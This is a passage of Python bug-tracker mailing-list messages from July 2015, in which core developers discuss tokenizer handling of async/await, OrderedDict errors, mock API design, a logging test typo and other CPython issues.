Python 3.5 has a new C function _PyTime_GetSystemClock() which uses the new _PyTime_t type. It now has a resolution of 1 nanosecond.

Sorry, I don't have Windows 8 at home, so I cannot work on this issue.

I guess that we should check at runtime if GetSystemTimePreciseAsFileTime() is available, as we did for GetTickCount64() in the past:

hKernel32 = GetModuleHandleW(L"KERNEL32");
*(FARPROC*)&Py_GetTickCount64 = GetProcAddress(hKernel32,
                                               "GetTickCount64");

Is there any Windows developer interested to write a short patch to implement it?

----------
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 14:42:58 2015
From: report at bugs.python.org (R. David Murray)
Date: Tue, 21 Jul 2015 12:42:58 +0000
Subject: [issue24665] CJK support for textwrap
In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>
Message-ID: <1437482578.22.0.182195523988.issue24665@psf.upfronthosting.co.za>


R. David Murray added the comment:

Or perhaps we haven't had a CJK user interested enough in using textwrap to provide the needed enhancements.  It seems like there is interest in solving the related problems recently, so perhaps some progress will be made now.

The fact that you view it as a bug does not mean that it is a bug from the point of view of the python project.  Every enhancement could be considered a bug, but we have a strict backward compatibility policy for maintenance release (which python 2.7.x is) which follows the semantic versioning principle that the API does not change in a micro release.  According to Serhiy, fixing this correctly will require API changes.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 14:53:15 2015
From: report at bugs.python.org (R. David Murray)
Date: Tue, 21 Jul 2015 12:53:15 +0000
Subject: [issue23591] Add IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1437483195.87.0.761438360015.issue23591@psf.upfronthosting.co.za>


R. David Murray added the comment:

I agree.  Closing this does not follow our normal development workflow, since there has been a consensus in favor and none for rejection.  If you think the API needs wider discussion a new thread can be started on python-ideas.

----------
nosy: +r.david.murray
resolution: rejected -> 
status: closed -> open
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 14:53:37 2015
From: report at bugs.python.org (Martin Panter)
Date: Tue, 21 Jul 2015 12:53:37 +0000
Subject: [issue24677] "def f(*args, ): pass" does not compile
In-Reply-To: <1437475422.65.0.615406832787.issue24677@psf.upfronthosting.co.za>
Message-ID: <1437483217.71.0.838282607538.issue24677@psf.upfronthosting.co.za>


Martin Panter added the comment:

See existing Issue 9232. I agree with your use case, but apparently this is controversial.

Playing the devil?s advocate here, the function calls involving *unpacking and a trailing comma only became valid in 3.5. I think this was a side effect of the new f(*args, *more) syntax, though I don?t know if it was intentional. It was not mentioned in PEP 448 that I can see.

----------
nosy: +vadmium
resolution:  -> duplicate
status: open -> closed
superseder:  -> Allow trailing comma in any function argument list.
versions: +Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:03:45 2015
From: report at bugs.python.org (R. David Murray)
Date: Tue, 21 Jul 2015 13:03:45 +0000
Subject: [issue13124] Add "Running a Build Slave" page to the devguide
In-Reply-To: <1318011517.56.0.343886781977.issue13124@psf.upfronthosting.co.za>
Message-ID: <1437483825.3.0.606306613142.issue13124@psf.upfronthosting.co.za>


R. David Murray added the comment:

Hmm.  You'd think I'd remember to search the bug tracker before opening a new issue :(.

I'll review this and make sure I've incorporated anything relevant from here into my patch when I've updated it.

I think the security information is useful, but based on Stefan's feedback I'll fix the language to be informative rather than cautionary.  I'll be updating the patch in the linked issue in the near future.

----------
nosy: +r.david.murray

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:05:00 2015
From: report at bugs.python.org (Eric Snow)
Date: Tue, 21 Jul 2015 13:05:00 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437483900.38.0.0814929735704.issue24667@psf.upfronthosting.co.za>


Eric Snow added the comment:

Ah, sorry.  I wasn't thinking past Python 3.5 (which is about to go to beta 4).  While 3.6.0a0, doesn't tell us much, d6c91b8242d2 (r96935) does.  That revision has all the necessary fixes to OrderedDict.  I'll look into this some more.  Do you get the failure consistently when running the test suite?

Also, in case you weren't aware: Python 3.5 (hence 3.6) introduces a C implementation of OrderedDict.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:05:25 2015
From: report at bugs.python.org (R. David Murray)
Date: Tue, 21 Jul 2015 13:05:25 +0000
Subject: [issue24440] Move the buildslave setup information from the wiki to
 the devguide
In-Reply-To: <1434125039.92.0.983765868474.issue24440@psf.upfronthosting.co.za>
Message-ID: <1437483925.51.0.430776926437.issue24440@psf.upfronthosting.co.za>


R. David Murray added the comment:

Note to myself to review issue 13124 before submitting my updated patch for review.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:09:28 2015
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Tue, 21 Jul 2015 13:09:28 +0000
Subject: [issue23883] __all__ lists are incomplete
In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za>
Message-ID: <1437484168.02.0.362277582052.issue23883@psf.upfronthosting.co.za>


Jacek Ko?odziej added the comment:

I'm getting patches ready with amendments you've proposed. Two things, though (and two on Rietveld):

> That raiseExecptions thing looks like a typo to me. The code should probably be monkey patching the module variable, and restoring it after the test. Then you wouldn?t need to add your extra typoed version to the blacklist.

Wouldn't it be better to just blacklist the typoed version in this patch, with proper comment, and then fix the typo along with test? Working it around like you proposed looks like unnecessary overkill. I'm also not yet sure where is the "don't change too much in one patch" border.

> pickletools.OpcodeInfo: It is briefly mentioned as the type of the first item of genops(). I don?t have a strong opinion, but I tended to agree with your previous patch which added it to __all__.

That addition was a little absentminded of me, sorry for that. Is such brief mention considered a documentation for a part of API in this case?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:13:56 2015
From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=)
Date: Tue, 21 Jul 2015 13:13:56 +0000
Subject: [issue9232] Allow trailing comma in any function argument list.
In-Reply-To: <1278945017.29.0.842296068848.issue9232@psf.upfronthosting.co.za>
Message-ID: <1437484436.74.0.108195837858.issue9232@psf.upfronthosting.co.za>


Adam Barto? added the comment:

Reposting from from my newest duplicate of this issue (Issue 24677), which is now closed:

I think that a trailing comma in function definition should be allowed also after *. 

Current situation with definitions:
def f(*args, ): pass # SyntaxError
def f(*, ): pass # SyntaxError
def f(*, a, ): pass # SyntaxError
def f(*, a=2, ): pass # SyntaxError

def f(a, ): pass # Ok
def f(, ): pass # SyntaxError ? this should probably stay error

Corresponding calls:
f(*args, ) # Ok
f(*args, a, ) # Ok
f(*args, a=2, ) # Ok 

f(a, ) # Ok
f(, ) # SyntaxError ? this is why the corresponding def behavior should stay

My use case:
def f(*, 
        long = 1, 
        list = 2, 
        of = 3, 
        kwonly = 4, 
        parameters = 5, 
    ):
    ...

----------
nosy: +Drekin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:19:05 2015
From: report at bugs.python.org (Eric Snow)
Date: Tue, 21 Jul 2015 13:19:05 +0000
Subject: [issue24440] Move the buildslave setup information from the wiki to
 the devguide
In-Reply-To: <1434125039.92.0.983765868474.issue24440@psf.upfronthosting.co.za>
Message-ID: <1437484745.55.0.892510224173.issue24440@psf.upfronthosting.co.za>


Changes by Eric Snow :


----------
nosy: +eric.snow

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:30:50 2015
From: report at bugs.python.org (R. David Murray)
Date: Tue, 21 Jul 2015 13:30:50 +0000
Subject: [issue23591] Add IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1437485450.92.0.682832206039.issue23591@psf.upfronthosting.co.za>


R. David Murray added the comment:

Ethan: to clarify...based on my years of watching this tracker, the way we normally handle an issue like this is to leave the issue open until it is resolved, sometimes with people proposing competing patches.  (There might be reasons to change that tradition, but if so the forum for that discussion would be python-workflow.)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:33:10 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 21 Jul 2015 13:33:10 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437485590.3.0.905180398165.issue24619@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Sorry for not responding earlier, I'm on vacation and don't check email too often.

While investigating what can be done in tokenizer.c to fix some of the bugs that Stefan pointed out, I discovered a simpler approach: instead of checking what kind of function we have on top of the stack, I now have a counter of nested async functions.  This aligns nicely with what Nick said on python-dev once: we essentially treat 'async def' as a future import, everything inside it parses differently.

In other words, before this patch:

   async def foo():
       def bar():
           async = 1

was legal, now it's a syntax error, as 'async' will be parsed as 'ASYNC' token.

This simplifies the implementation of tokenizer.c hacks, fixes all of the bugs that Stefan posted here, *and* enables one-line 'async' functions:

   async def foo(): await bar() # legal with the patch

It will also help with migrating the code to Python 3.7 when async/await will become proper keywords.

And, with this patch we can effectively remove the shortcomings section from the PEP 492 (https://www.python.org/dev/peps/pep-0492/#transition-period-shortcomings).

Please review the attached patch, it would be great if we can commit it before 3.5beta4.

----------
assignee:  -> yselivanov
keywords: +patch
nosy: +haypo, ncoghlan
priority: normal -> release blocker
stage:  -> patch review
versions: +Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39964/issue24619.1.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:54:51 2015
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 21 Jul 2015 13:54:51 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1437485590.3.0.905180398165.issue24619@psf.upfronthosting.co.za>
Message-ID: 


Guido van Rossum added the comment:

Haven't reviewed the patch, but this approach sounds great (in fact I had
assumed you were doing this already, and I was a bit surprised by some of
the problems you encountered :-).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 15:56:48 2015
From: report at bugs.python.org (Martin Panter)
Date: Tue, 21 Jul 2015 13:56:48 +0000
Subject: [issue23883] __all__ lists are incomplete
In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za>
Message-ID: <1437487008.25.0.380616179594.issue23883@psf.upfronthosting.co.za>


Martin Panter added the comment:

raiseExecptions typo: Might be best to get the typo fixed first (maybe open a separate issue, since it should probably be fixed starting from the 3.4 branch).

Regarding OpcodeInfo, it is probably up to your judgement.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 16:00:12 2015
From: report at bugs.python.org (Martin Panter)
Date: Tue, 21 Jul 2015 14:00:12 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437487212.17.0.132412157726.issue24619@psf.upfronthosting.co.za>


Martin Panter added the comment:

Good news :) I guess this means we can also remove the sentence I added at .

----------
nosy: +vadmium

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 16:30:25 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 21 Jul 2015 14:30:25 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437489025.36.0.562575701004.issue24619@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

An updated patch is attached.  I had to implement a little bit more sophisticated tracking of one-line functions to fix parsing of things like

    def foo():
        async def f(): pass
        async def f(): pass
        async = 1

I hope that test_coroutine.py now covers all possible legal and illegal async/await syntax.

> Haven't reviewed the patch, but this approach sounds great (in fact I had
> assumed you were doing this already, and I was a bit surprised by some of
> the problems you encountered :-).

Yes, I'm a bit surprised myself ;)  I guess one of the reasons why I tried to do more in tokenizer is that at the time of me hacking the tokenizer, compile.c wasn't quite ready (specifically, catching async for/async with/await outside of async functions).

> Good news :) I guess this means we can also remove the sentence I added at [..]

Right!

----------
Added file: http://bugs.python.org/file39965/issue24619.2.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 17:26:57 2015
From: report at bugs.python.org (Fabian)
Date: Tue, 21 Jul 2015 15:26:57 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437492417.43.0.911550199048.issue24667@psf.upfronthosting.co.za>


Fabian added the comment:

It is consistent as in it happens on every run of the test suite. But unfortunately I haven't checked if it's always happening at the same place. Luckily we have 4 builds on Travis with 3.6 and in all it happened from the beginning and got > 100 matches for ?KeyError:?:

* https://travis-ci.org/wikimedia/pywikibot-core/jobs/71537432#L274
* https://travis-ci.org/wikimedia/pywikibot-core/jobs/71626596#L274
* https://travis-ci.org/wikimedia/pywikibot-core/jobs/71636529#L274
* https://travis-ci.org/wikimedia/pywikibot-core/jobs/71637809#L274
* https://travis-ci.org/xZise/pywikibot-core/builds/71550286#L274

Maybe I can do additional analysis but I'm pretty sure for me locally I didn't get failures so soon.

And no I wasn't aware about OrderedDict implemented in C. Now I haven't done tests in 3.5.0b3 (which seems to be the newest version of 3.5 available via pyenv at the moment) as it's relatively cumbersome and prevents me from doing any development on pywikibot at the same time. Anyway I still might do it and report whether I get the error too (unless OrderedDict is still implemented in Python in that version).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 17:54:58 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 15:54:58 +0000
Subject: [issue23591] Add IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1437494098.8.0.409267391119.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

My experience is that a module maintainer, or somebody claiming to speak for the module maintainer, can close any issue in their area at any time regardless of the number of core devs in favor of a change.

Whatever.  I'll leave this open and write up a spec of what IntFlags should look like in case somebody wants to write the patch for it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 17:56:37 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 21 Jul 2015 15:56:37 +0000
Subject: [issue24485] Function source inspection fails on closures
In-Reply-To: <1434966088.74.0.807832836071.issue24485@psf.upfronthosting.co.za>
Message-ID: <1437494197.97.0.608087963143.issue24485@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Meador, the patch looks OK.  Could you please commit it yourself?

----------
assignee:  -> meador.inge

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 18:04:58 2015
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 21 Jul 2015 16:04:58 +0000
Subject: [issue24669] inspect.getsource() returns the wrong lines for
 coroutine functions
In-Reply-To: <1437311413.78.0.142577427611.issue24669@psf.upfronthosting.co.za>
Message-ID: <20150721160454.23369.86917@psf.io>


Roundup Robot added the comment:

New changeset f02c5bf59fbb by Yury Selivanov in branch '3.5':
Issue #24669: Fix inspect.getsource() for 'async def' functions.
https://hg.python.org/cpython/rev/f02c5bf59fbb

New changeset 6629773fef63 by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24669)
https://hg.python.org/cpython/rev/6629773fef63

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 18:05:16 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 21 Jul 2015 16:05:16 +0000
Subject: [issue24669] inspect.getsource() returns the wrong lines for
 coroutine functions
In-Reply-To: <1437311413.78.0.142577427611.issue24669@psf.upfronthosting.co.za>
Message-ID: <1437494716.98.0.528298404376.issue24669@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Thanks, Kai!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 18:30:36 2015
From: report at bugs.python.org (Robert Collins)
Date: Tue, 21 Jul 2015 16:30:36 +0000
Subject: [issue24653] Mock.assert_has_calls([]) is surprising for users
In-Reply-To: <1437126004.09.0.453747784975.issue24653@psf.upfronthosting.co.za>
Message-ID: <1437496236.82.0.631020747683.issue24653@psf.upfronthosting.co.za>


Robert Collins added the comment:

Ok, so as a doc bug this should still be tracked here - I'm going to reopen it to reflect that, hope thats ok.

----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python
resolution: not a bug -> 
status: closed -> open
title: Mock.assert_has_calls([]) incorrectly passes -> Mock.assert_has_calls([]) is surprising for users

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 18:32:31 2015
From: report at bugs.python.org (Carl Meyer)
Date: Tue, 21 Jul 2015 16:32:31 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437496351.37.0.940900966724.issue24651@psf.upfronthosting.co.za>


Carl Meyer added the comment:

As a frequent and long-time user of mock, the `assert_*` methods being on the mock object itself has always struck me as an unfortunate wart on an otherwise great library. The change to raise `AssertionError` on `assert_*` and `assret_*` feels like piling an ugly band-aid on top of the wart. I'd love to see Robert's suggested solution of moving the assertion helpers to standalone functions.

----------
nosy: +carljm

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 18:33:11 2015
From: report at bugs.python.org (Carl Meyer)
Date: Tue, 21 Jul 2015 16:33:11 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437496391.29.0.00307191458002.issue24651@psf.upfronthosting.co.za>


Carl Meyer added the comment:

Er, I meant `AttributeError`, of course...

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 19:18:50 2015
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 21 Jul 2015 17:18:50 +0000
Subject: [issue22123] Provide a direct function for types.SimpleNamespace()
In-Reply-To: <1406966548.11.0.912987884229.issue22123@psf.upfronthosting.co.za>
Message-ID: <1437499130.13.0.221803680908.issue22123@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
nosy: +berker.peksag

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 20:37:18 2015
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Tue, 21 Jul 2015 18:37:18 +0000
Subject: [issue24678] raiseExceptions typo fix in logging tests
Message-ID: <1437503838.94.0.968841864342.issue24678@psf.upfronthosting.co.za>


New submission from Jacek Ko?odziej:

The typo in test_logging was discovered while working on #23883: in two tests the addCleanup call reverts the raiseEx*ec*ptions value (instead of raiseExceptions) in logging module and apparently that didn't manifest itself in any way.

Patch attached.

----------
components: Tests
files: test_logging_typo.patch
keywords: patch
messages: 247047
nosy: Unit03, vadmium, vinay.sajip
priority: normal
severity: normal
status: open
title: raiseExceptions typo fix in logging tests
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39966/test_logging_typo.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 20:45:30 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 18:45:30 +0000
Subject: [issue24678] raiseExceptions typo fix in logging tests
In-Reply-To: <1437503838.94.0.968841864342.issue24678@psf.upfronthosting.co.za>
Message-ID: <1437504330.94.0.411729683826.issue24678@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I would use test.support.swapattr().

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:17:44 2015
From: report at bugs.python.org (Robert Collins)
Date: Tue, 21 Jul 2015 19:17:44 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437506264.48.0.299256377383.issue21750@psf.upfronthosting.co.za>


Robert Collins added the comment:

Fixup patch. I've tested this with the reported failures and they all work.

----------
Added file: http://bugs.python.org/file39967/issue-21750-2.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:20:28 2015
From: report at bugs.python.org (Robert Collins)
Date: Tue, 21 Jul 2015 19:20:28 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437506428.11.0.736680741033.issue21750@psf.upfronthosting.co.za>


Robert Collins added the comment:

But - its worth discussing. Perhaps we should roll this all back, and just say 'use a vfs layer for tests like this'. The problem in doing that, is that the
@patch
def test_foo...

use case is actually pretty common IME, and this conflicts with the 
@patch
...
A = open()
B = open()
A.read()
B.read()

case where the reset in the open() side effect will cause B.read to end up returning ''.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:28:59 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 19:28:59 +0000
Subject: [issue24613] array.fromstring Use After Free
In-Reply-To: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za>
Message-ID: <1437506939.72.0.480666508648.issue24613@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Minimal example:

import array
a = array.array("B")
a.fromstring(b'x'*0x10000)
a.fromstring(a)
a.fromstring(a)

In 3.x it doesn't work. An exception is raised:

Traceback (most recent call last):
  File "", line 1, in 
BufferError: cannot resize an array that is exporting buffers

I think it would be better to raise an exception in 2.7 too.

----------
type: security -> crash

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:30:03 2015
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Tue, 21 Jul 2015 19:30:03 +0000
Subject: [issue24678] raiseExceptions typo fix in logging tests
In-Reply-To: <1437503838.94.0.968841864342.issue24678@psf.upfronthosting.co.za>
Message-ID: <1437507003.2.0.444830040975.issue24678@psf.upfronthosting.co.za>


Jacek Ko?odziej added the comment:

s/swapattr/swap_attr/g :) Done.

----------
Added file: http://bugs.python.org/file39968/test_logging_typo.v2.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:34:14 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 19:34:14 +0000
Subject: [issue24678] raiseExceptions typo fix in logging tests
In-Reply-To: <1437503838.94.0.968841864342.issue24678@psf.upfronthosting.co.za>
Message-ID: <1437507254.42.0.186530141167.issue24678@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM.

----------
assignee:  -> serhiy.storchaka
stage:  -> commit review
type:  -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:42:02 2015
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 21 Jul 2015 19:42:02 +0000
Subject: [issue24678] raiseExceptions typo fix in logging tests
In-Reply-To: <1437503838.94.0.968841864342.issue24678@psf.upfronthosting.co.za>
Message-ID: <20150721194159.37654.31165@psf.io>


Roundup Robot added the comment:

New changeset 20e2b980bb87 by Serhiy Storchaka in branch '3.4':
Issue #24678: Fixed raiseExceptions typo in logging tests.
https://hg.python.org/cpython/rev/20e2b980bb87

New changeset 7a54e400155f by Serhiy Storchaka in branch '3.5':
Issue #24678: Fixed raiseExceptions typo in logging tests.
https://hg.python.org/cpython/rev/7a54e400155f

New changeset 83b45ea19d00 by Serhiy Storchaka in branch 'default':
Issue #24678: Fixed raiseExceptions typo in logging tests.
https://hg.python.org/cpython/rev/83b45ea19d00

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:42:32 2015
From: report at bugs.python.org (Eric Snow)
Date: Tue, 21 Jul 2015 19:42:32 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437507752.59.0.73683297681.issue24667@psf.upfronthosting.co.za>


Eric Snow added the comment:

Thanks for the extra info.  I'm going to see if I can reproduce the issue by running the pywikibot test suite locally.  What's the best way to set that up?  Are there instructions somewhere?

As to the C implementation, it was first released (as a special exception) in 3.5b2.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:43:09 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 19:43:09 +0000
Subject: [issue24678] raiseExceptions typo fix in logging tests
In-Reply-To: <1437503838.94.0.968841864342.issue24678@psf.upfronthosting.co.za>
Message-ID: <1437507789.09.0.0607157978892.issue24678@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you for your contribution Jacek.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:46:01 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 19:46:01 +0000
Subject: [issue14373] C implementation of functools.lru_cache
In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za>
Message-ID: <1437507961.79.0.326219030975.issue14373@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
priority: normal -> release blocker

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:47:07 2015
From: report at bugs.python.org (Fabian)
Date: Tue, 21 Jul 2015 19:47:07 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437508027.21.0.109195648283.issue24667@psf.upfronthosting.co.za>


Fabian added the comment:

Yes see the tests/README.rst. And afaik do you only need to have requests and six installed.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:48:06 2015
From: report at bugs.python.org (Paul Koning)
Date: Tue, 21 Jul 2015 19:48:06 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437508086.02.0.367488264649.issue21750@psf.upfronthosting.co.za>


Paul Koning added the comment:

Sure, you can use a vfs.  That's true for a lot of mock functions; the benefit of mock, including mock_open, is that it provides an easier and better packaged way.  The behavior expected is "be like a file".  So in that last example, if you open it twice, you've got two views of the same "file" data, independent of each other, and reads of each file will see that data in full.  A.read() has no effect on B.read().

I don't think I understand what the latest discussion/issue is all about.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 21:55:22 2015
From: report at bugs.python.org (Patrick Westerhoff)
Date: Tue, 21 Jul 2015 19:55:22 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437508522.03.0.430405535526.issue24651@psf.upfronthosting.co.za>


Changes by Patrick Westerhoff :


----------
nosy: +poke

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 22:00:03 2015
From: report at bugs.python.org (Antti Haapala)
Date: Tue, 21 Jul 2015 20:00:03 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437508803.93.0.676331611477.issue24651@psf.upfronthosting.co.za>


Changes by Antti Haapala :


----------
nosy: +ztane

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 22:01:28 2015
From: report at bugs.python.org (Antti Haapala)
Date: Tue, 21 Jul 2015 20:01:28 +0000
Subject: [issue24653] Mock.assert_has_calls([]) is surprising for users
In-Reply-To: <1437126004.09.0.453747784975.issue24653@psf.upfronthosting.co.za>
Message-ID: <1437508888.27.0.853186435629.issue24653@psf.upfronthosting.co.za>


Changes by Antti Haapala :


----------
nosy: +ztane

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 22:15:09 2015
From: report at bugs.python.org (dlroo)
Date: Tue, 21 Jul 2015 20:15:09 +0000
Subject: [issue23574] datetime: support leap seconds
In-Reply-To: <1425393743.39.0.519990063132.issue23574@psf.upfronthosting.co.za>
Message-ID: <1437509709.62.0.016998297127.issue23574@psf.upfronthosting.co.za>


dlroo added the comment:

If you are using mx.DateTime make certain you do not use the .strftime method.  If you use .strftime method and have a 60th second in your DateTime object it will crash python with no error message.  This occurs because the .strftime method is fully inherited from Python's datetime.datetime.

----------
nosy: +dlroo
versions: +Python 2.7 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 22:15:48 2015
From: report at bugs.python.org (Meador Inge)
Date: Tue, 21 Jul 2015 20:15:48 +0000
Subject: [issue24485] Function source inspection fails on closures
In-Reply-To: <1434966088.74.0.807832836071.issue24485@psf.upfronthosting.co.za>
Message-ID: <1437509748.19.0.578157599673.issue24485@psf.upfronthosting.co.za>


Meador Inge added the comment:

Will do.  Thanks for the review.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 22:18:36 2015
From: report at bugs.python.org (Robert Collins)
Date: Tue, 21 Jul 2015 20:18:36 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
